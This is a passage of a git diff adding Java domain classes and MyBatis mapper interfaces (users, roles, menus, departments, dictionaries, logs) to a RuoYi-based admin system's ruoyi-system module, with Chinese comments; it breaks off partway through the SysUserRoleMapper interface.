Long getPostId() + { + return postId; + } + + public void setPostId(Long postId) + { + this.postId = postId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("postId", getPostId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java new file mode 100644 index 0000000..4d15810 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java @@ -0,0 +1,46 @@ +package com.ruoyi.system.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; + +/** + * 用户和角色关联 sys_user_role + * + * @author ruoyi + */ +public class SysUserRole +{ + /** 用户ID */ + private Long userId; + + /** 角色ID */ + private Long roleId; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("roleId", getRoleId()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java new file mode 100644 index 0000000..a5d5fdc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java @@ -0,0 +1,106 @@ +package com.ruoyi.system.domain.vo; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 路由显示信息 + * + * @author ruoyi + */ +public class MetaVo +{ + /** + * 设置该路由在侧边栏和面包屑中展示的名字 + */ + private String title; + + /** + * 设置该路由的图标,对应路径src/assets/icons/svg + */ + private String icon; + + /** + * 设置为true,则不会被 缓存 + */ + private boolean noCache; + + /** + * 内链地址(http(s)://开头) + */ + private String link; + + public MetaVo() + { + } + + public MetaVo(String title, String icon) + { + this.title = title; + this.icon = icon; + } + + public MetaVo(String title, String icon, boolean noCache) + { + this.title = title; + this.icon = icon; + this.noCache = noCache; + } + + public MetaVo(String title, String icon, String link) + { + this.title = title; + this.icon = icon; + this.link = link; + } + + public MetaVo(String title, String icon, boolean noCache, String link) + { + this.title = title; + this.icon = icon; + this.noCache = noCache; + if (StringUtils.ishttp(link)) + { + this.link = link; + } + } + + public boolean isNoCache() + { + return noCache; + } + + public void setNoCache(boolean noCache) + { + this.noCache = noCache; + } + + public String getTitle() + { + return title; + } + + public void setTitle(String title) + { + this.title = title; + } + + public String getIcon() + { + return icon; + } + + public void setIcon(String icon) + { + this.icon = icon; + } + + public String getLink() + { + return link; + } + + public void setLink(String link) + { + this.link = link; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java new file mode 100644 index 0000000..afff8c9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java @@ -0,0 +1,148 @@ +package com.ruoyi.system.domain.vo; + +import com.fasterxml.jackson.annotation.JsonInclude; +import java.util.List; + +/** + * 路由配置信息 + * + * @author ruoyi + */ +@JsonInclude(JsonInclude.Include.NON_EMPTY) +public class RouterVo +{ + /** + * 路由名字 + */ + private String name; + + /** + * 路由地址 + */ + private String path; + + /** + * 是否隐藏路由,当设置 true 的时候该路由不会再侧边栏出现 + */ + private boolean hidden; + + /** + * 重定向地址,当设置 noRedirect 的时候该路由在面包屑导航中不可被点击 + */ + private String redirect; + + /** + * 组件地址 + */ + private String component; + + /** + * 路由参数:如 {"id": 1, "name": "ry"} + */ + private String query; + + /** + * 当你一个路由下面的 children 声明的路由大于1个时,自动会变成嵌套的模式--如组件页面 + */ + private Boolean alwaysShow; + + /** + * 其他元素 + */ + private MetaVo meta; + + /** + * 子路由 + */ + private List children; + + public String getName() + { + return name; + } + + public void setName(String name) + { + this.name = name; + } + + public String getPath() + { + return path; + } + + public void setPath(String path) + { + this.path = path; + } + + public boolean getHidden() + { + return hidden; + } + + public void setHidden(boolean hidden) + { + this.hidden = hidden; + } + + public String getRedirect() + { + return redirect; + } + + public void setRedirect(String redirect) + { + this.redirect = redirect; + } + + public String getComponent() + { + return component; + } + + public void setComponent(String component) + { + this.component = component; + } + + public String getQuery() + { + return query; + } + + public void setQuery(String query) + { + this.query = query; + } + + public Boolean getAlwaysShow() + { + return alwaysShow; + } + + public void setAlwaysShow(Boolean alwaysShow) + { + this.alwaysShow = alwaysShow; + } + + public MetaVo getMeta() + { + return meta; + } + + public void setMeta(MetaVo meta) + { + this.meta = meta; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java new file mode 100644 index 0000000..13d49d6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java @@ -0,0 +1,76 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysConfig; + +/** + * 参数配置 数据层 + * + * @author ruoyi + */ +public interface SysConfigMapper +{ + /** + * 查询参数配置信息 + * + * @param config 参数配置信息 + * @return 参数配置信息 + */ + public SysConfig selectConfig(SysConfig config); + + /** + * 通过ID查询配置 + * + * @param configId 参数ID + * @return 参数配置信息 + */ + public SysConfig selectConfigById(Long configId); + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + public List selectConfigList(SysConfig config); + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数键名 + * @return 参数配置信息 + */ + public SysConfig checkConfigKeyUnique(String configKey); + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int insertConfig(SysConfig config); + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int updateConfig(SysConfig config); + + /** + * 删除参数配置 + * + * @param configId 参数ID + * @return 结果 + */ + public int deleteConfigById(Long configId); + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + * @return 结果 + */ + public int deleteConfigByIds(Long[] configIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java new file mode 100644 index 0000000..384a9b6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java @@ -0,0 +1,118 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysDept; + +/** + * 部门管理 数据层 + * + * @author ruoyi + */ +public interface SysDeptMapper +{ + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + public List selectDeptList(SysDept dept); + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @param deptCheckStrictly 部门树选择项是否关联显示 + * @return 选中部门列表 + */ + public List selectDeptListByRoleId(@Param("roleId") Long roleId, @Param("deptCheckStrictly") boolean deptCheckStrictly); + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + public SysDept selectDeptById(Long deptId); + + /** + * 根据ID查询所有子部门 + * + * @param deptId 部门ID + * @return 部门列表 + */ + public List selectChildrenDeptById(Long deptId); + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + public int selectNormalChildrenDeptById(Long deptId); + + /** + * 是否存在子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + public int hasChildByDeptId(Long deptId); + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 + */ + public int checkDeptExistUser(Long deptId); + + /** + * 校验部门名称是否唯一 + * + * @param deptName 部门名称 + * @param parentId 父部门ID + * @return 结果 + */ + public SysDept checkDeptNameUnique(@Param("deptName") String deptName, @Param("parentId") Long parentId); + + /** + * 新增部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int insertDept(SysDept dept); + + /** + * 修改部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int updateDept(SysDept dept); + + /** + * 修改所在部门正常状态 + * + * @param deptIds 部门ID组 + */ + public void updateDeptStatusNormal(Long[] deptIds); + + /** + * 修改子元素关系 + * + * @param depts 子元素 + * @return 结果 + */ + public int updateDeptChildren(@Param("depts") List depts); + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + public int deleteDeptById(Long deptId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java new file mode 100644 index 0000000..cf321ef --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java @@ -0,0 +1,97 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysDictData; + +/** + * 字典表 数据层 + * + * @author ruoyi + */ +public interface SysDictDataMapper +{ + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + public List selectDictDataList(SysDictData dictData); + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + public List selectDictDataByType(String dictType); + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + public String selectDictLabel(@Param("dictType") String dictType, @Param("dictValue") String dictValue); + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + public SysDictData selectDictDataById(Long dictCode); + + /** + * 查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据 + */ + public int countDictDataByType(String dictType); + + /** + * 通过字典ID删除字典数据信息 + * + * @param dictCode 字典数据ID + * @return 结果 + */ + public int deleteDictDataById(Long dictCode); + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + * @return 结果 + */ + public int deleteDictDataByIds(Long[] dictCodes); + + /** + * 新增字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int insertDictData(SysDictData dictData); + + /** + * 修改字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int updateDictData(SysDictData dictData); + + /** + * 同步修改字典类型 + * + * @param oldDictType 旧字典类型 + * @param newDictType 新旧字典类型 + * @return 结果 + */ + public int updateDictDataType(@Param("oldDictType") String oldDictType, @Param("newDictType") String newDictType); + + int updateDictDataByIsDefault(SysDictData data); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java new file mode 100644 index 0000000..5fb48fb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java @@ -0,0 +1,83 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictType; + +/** + * 字典表 数据层 + * + * @author ruoyi + */ +public interface SysDictTypeMapper +{ + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + public List selectDictTypeList(SysDictType dictType); + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + public List selectDictTypeAll(); + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + public SysDictType selectDictTypeById(Long dictId); + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + public SysDictType selectDictTypeByType(String dictType); + + /** + * 通过字典ID删除字典信息 + * + * @param dictId 字典ID + * @return 结果 + */ + public int deleteDictTypeById(Long dictId); + + /** + * 批量删除字典类型信息 + * + * @param dictIds 需要删除的字典ID + * @return 结果 + */ + public int deleteDictTypeByIds(Long[] dictIds); + + /** + * 新增字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int insertDictType(SysDictType dictType); + + /** + * 修改字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int updateDictType(SysDictType dictType); + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + public SysDictType checkDictTypeUnique(String dictType); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java new file mode 100644 index 0000000..629866f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java @@ -0,0 +1,42 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysLogininfor; + +/** + * 系统访问日志情况信息 数据层 + * + * @author ruoyi + */ +public interface SysLogininforMapper +{ + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + public void insertLogininfor(SysLogininfor logininfor); + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + public List selectLogininforList(SysLogininfor logininfor); + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + public int deleteLogininforByIds(Long[] infoIds); + + /** + * 清空系统登录日志 + * + * @return 结果 + */ + public int cleanLogininfor(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java new file mode 100644 index 0000000..99c0c50 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java @@ -0,0 +1,125 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysMenu; + +/** + * 菜单表 数据层 + * + * @author ruoyi + */ +public interface SysMenuMapper +{ + /** + * 查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + public List selectMenuList(SysMenu menu); + + /** + * 根据用户所有权限 + * + * @return 权限列表 + */ + public List selectMenuPerms(); + + /** + * 根据用户查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + public List selectMenuListByUserId(SysMenu menu); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + public List selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public List selectMenuPermsByUserId(Long userId); + + /** + * 根据用户ID查询菜单 + * + * @return 菜单列表 + */ + public List selectMenuTreeAll(); + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @param menuCheckStrictly 菜单树选择项是否关联显示 + * @return 选中菜单列表 + */ + public List selectMenuListByRoleId(@Param("roleId") Long roleId, @Param("menuCheckStrictly") boolean menuCheckStrictly); + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + public SysMenu selectMenuById(Long menuId); + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int hasChildByMenuId(Long menuId); + + /** + * 新增菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int insertMenu(SysMenu menu); + + /** + * 修改菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int updateMenu(SysMenu menu); + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int deleteMenuById(Long menuId); + + /** + * 校验菜单名称是否唯一 + * + * @param menuName 菜单名称 + * @param parentId 父菜单ID + * @return 结果 + */ + public SysMenu checkMenuNameUnique(@Param("menuName") String menuName, @Param("parentId") Long parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java new file mode 100644 index 0000000..c34f0a2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysNotice; + +/** + * 通知公告表 数据层 + * + * @author ruoyi + */ +public interface SysNoticeMapper +{ + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + public SysNotice selectNoticeById(Long noticeId); + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + public List selectNoticeList(SysNotice notice); + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int insertNotice(SysNotice notice); + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int updateNotice(SysNotice notice); + + /** + * 批量删除公告 + * + * @param noticeId 公告ID + * @return 结果 + */ + public int deleteNoticeById(Long noticeId); + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + public int deleteNoticeByIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java new file mode 100644 index 0000000..2ae6457 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志 数据层 + * + * @author ruoyi + */ +public interface SysOperLogMapper +{ + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + public void insertOperlog(SysOperLog operLog); + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + public List selectOperLogList(SysOperLog operLog); + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + public int deleteOperLogByIds(Long[] operIds); + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + public SysOperLog selectOperLogById(Long operId); + + /** + * 清空操作日志 + */ + public void cleanOperLog(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java new file mode 100644 index 0000000..19be227 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java @@ -0,0 +1,99 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysPost; + +/** + * 岗位信息 数据层 + * + * @author ruoyi + */ +public interface SysPostMapper +{ + /** + * 查询岗位数据集合 + * + * @param post 岗位信息 + * @return 岗位数据集合 + */ + public List selectPostList(SysPost post); + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + public List selectPostAll(); + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + public SysPost selectPostById(Long postId); + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + public List selectPostListByUserId(Long userId); + + /** + * 查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + public List selectPostsByUserName(String userName); + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + public int deletePostById(Long postId); + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + public int deletePostByIds(Long[] postIds); + + /** + * 修改岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int updatePost(SysPost post); + + /** + * 新增岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int insertPost(SysPost post); + + /** + * 校验岗位名称 + * + * @param postName 岗位名称 + * @return 结果 + */ + public SysPost checkPostNameUnique(String postName); + + /** + * 校验岗位编码 + * + * @param postCode 岗位编码 + * @return 结果 + */ + public SysPost checkPostCodeUnique(String postCode); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java new file mode 100644 index 0000000..f9d3a2f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysRoleDept; + +/** + * 角色与部门关联表 数据层 + * + * @author ruoyi + */ +public interface SysRoleDeptMapper +{ + /** + * 通过角色ID删除角色和部门关联 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleDeptByRoleId(Long roleId); + + /** + * 批量删除角色部门关联信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteRoleDept(Long[] ids); + + /** + * 查询部门使用数量 + * + * @param deptId 部门ID + * @return 结果 + */ + public int selectCountRoleDeptByDeptId(Long deptId); + + /** + * 批量新增角色部门信息 + * + * @param roleDeptList 角色部门列表 + * @return 结果 + */ + public int batchRoleDept(List roleDeptList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java new file mode 100644 index 0000000..cf2bd8c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java @@ -0,0 +1,107 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysRole; + +/** + * 角色表 数据层 + * + * @author ruoyi + */ +public interface SysRoleMapper +{ + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + public List selectRoleList(SysRole role); + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + public List selectRolePermissionByUserId(Long userId); + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + public List selectRoleAll(); + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + public List selectRoleListByUserId(Long userId); + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + public SysRole selectRoleById(Long roleId); + + /** + * 根据用户ID查询角色 + * + * @param userName 用户名 + * @return 角色列表 + */ + public List selectRolesByUserName(String userName); + + /** + * 校验角色名称是否唯一 + * + * @param roleName 角色名称 + * @return 角色信息 + */ + public SysRole checkRoleNameUnique(String roleName); + + /** + * 校验角色权限是否唯一 + * + * @param roleKey 角色权限 + * @return 角色信息 + */ + public SysRole checkRoleKeyUnique(String roleKey); + + /** + * 修改角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRole(SysRole role); + + /** + * 新增角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int insertRole(SysRole role); + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleById(Long roleId); + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + public int deleteRoleByIds(Long[] roleIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java new file mode 100644 index 0000000..6602bee --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysRoleMenu; + +/** + * 角色与菜单关联表 数据层 + * + * @author ruoyi + */ +public interface SysRoleMenuMapper +{ + /** + * 查询菜单使用数量 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int checkMenuExistRole(Long menuId); + + /** + * 通过角色ID删除角色和菜单关联 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleMenuByRoleId(Long roleId); + + /** + * 批量删除角色菜单关联信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteRoleMenu(Long[] ids); + + /** + * 批量新增角色菜单信息 + * + * @param roleMenuList 角色菜单列表 + * @return 结果 + */ + public int batchRoleMenu(List roleMenuList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java new file mode 100644 index 0000000..89c1774 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java @@ -0,0 +1,137 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysUser; +import org.apache.ibatis.annotations.Select; +import org.apache.ibatis.annotations.Update; + +/** + * 用户表 数据层 + * + * @author ruoyi + */ +public interface SysUserMapper +{ + /** + * 根据条件分页查询用户列表 + * + * @param sysUser 用户信息 + * @return 用户信息集合信息 + */ + public List selectUserList(SysUser sysUser); + + /** + * 根据条件分页查询已配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectAllocatedList(SysUser user); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUnallocatedList(SysUser user); + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + public SysUser selectUserByUserName(String userName); + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + public SysUser selectUserById(Long userId); + + /** + * 新增用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int insertUser(SysUser user); + + /** + * 修改用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUser(SysUser user); + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + public int updateUserAvatar(@Param("userName") String userName, @Param("avatar") String avatar); + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + public int resetUserPwd(@Param("userName") String userName, @Param("password") String password); + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserById(Long userId); + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + public int deleteUserByIds(Long[] userIds); + + /** + * 校验用户名称是否唯一 + * + * @param userName 用户名称 + * @return 结果 + */ + public SysUser checkUserNameUnique(String userName); + + /** + * 校验手机号码是否唯一 + * + * @param phonenumber 手机号码 + * @return 结果 + */ + public SysUser checkPhoneUnique(String phonenumber); + + /** + * 校验email是否唯一 + * + * @param email 用户邮箱 + * @return 结果 + */ + public SysUser checkEmailUnique(String email); + + List selectUnboundAdminUser(SysUser user); + + @Update("update sys_user set google_key=#{googleKey} where user_id=#{userId}") + void updateUserForGoogleKey(@Param("googleKey") String googleKey,@Param("userId") Long userId); + + @Select("select * from sys_user where (user_type != 0 or user_type != 00) and del_flag = '0' ") + List selectAllAgentUser(SysUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java new file mode 100644 index 0000000..e08991d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysUserPost; + +/** + * 用户与岗位关联表 数据层 + * + * @author ruoyi + */ +public interface SysUserPostMapper +{ + /** + * 通过用户ID删除用户和岗位关联 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserPostByUserId(Long userId); + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + public int countUserPostById(Long postId); + + /** + * 批量删除用户和岗位关联 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteUserPost(Long[] ids); + + /** + * 批量新增用户岗位信息 + * + * @param userPostList 用户角色列表 + * @return 结果 + */ + public int batchUserPost(List userPostList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java new file mode 100644 index 0000000..3143ec8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.system.domain.SysUserRole; + +/** + * 用户与角色关联表 数据层 + * + * @author ruoyi + */ +public interface SysUserRoleMapper +{ + /** + * 通过用户ID删除用户和角色关联 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserRoleByUserId(Long userId); + + /** + * 批量删除用户和角色关联 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteUserRole(Long[] ids); + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + public int countUserRoleByRoleId(Long roleId); + + /** + * 批量新增用户角色信息 + * + * @param userRoleList 用户角色列表 + * @return 结果 + */ + public int batchUserRole(List userRoleList); + + /** + * 删除用户和角色关联信息 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + public int deleteUserRoleInfo(SysUserRole userRole); + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要删除的用户数据ID + * @return 结果 + */ + public int deleteUserRoleInfos(@Param("roleId") Long roleId, 